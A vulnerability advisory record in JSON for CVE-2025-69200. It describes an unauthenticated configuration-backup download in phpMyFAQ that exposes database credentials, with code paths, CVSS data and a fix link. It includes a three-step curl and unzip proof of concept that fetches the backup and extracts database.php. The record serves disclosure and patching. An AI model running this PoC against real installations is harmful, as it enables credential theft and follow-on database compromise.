{"id":"CVE-2025-69200","aliases":["GHSA-9cg9-4h4f-j6fg"],"url":"https://o3.security/vulnerability/CVE-2025-69200","summary":"phpMyFAQ has unauthenticated config backup download via /api/setup/backup","details":"### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` → `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` → `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.","published":"2025-12-29T15:24:51.844Z","modified":"2026-08-12T03:51:45.398811745Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","fixedVersion":"4.0.16"},{"ecosystem":"Packagist","name":"thorsten/phpmyfaq","fixedVersion":null}],"fix":{"url":"https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a","label":"thorsten/phpMyFAQ@b0e99ee"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69200.json"},{"type":"ADVISORY","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69200"},{"type":"FIX","url":"https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:45.398811745Z"}}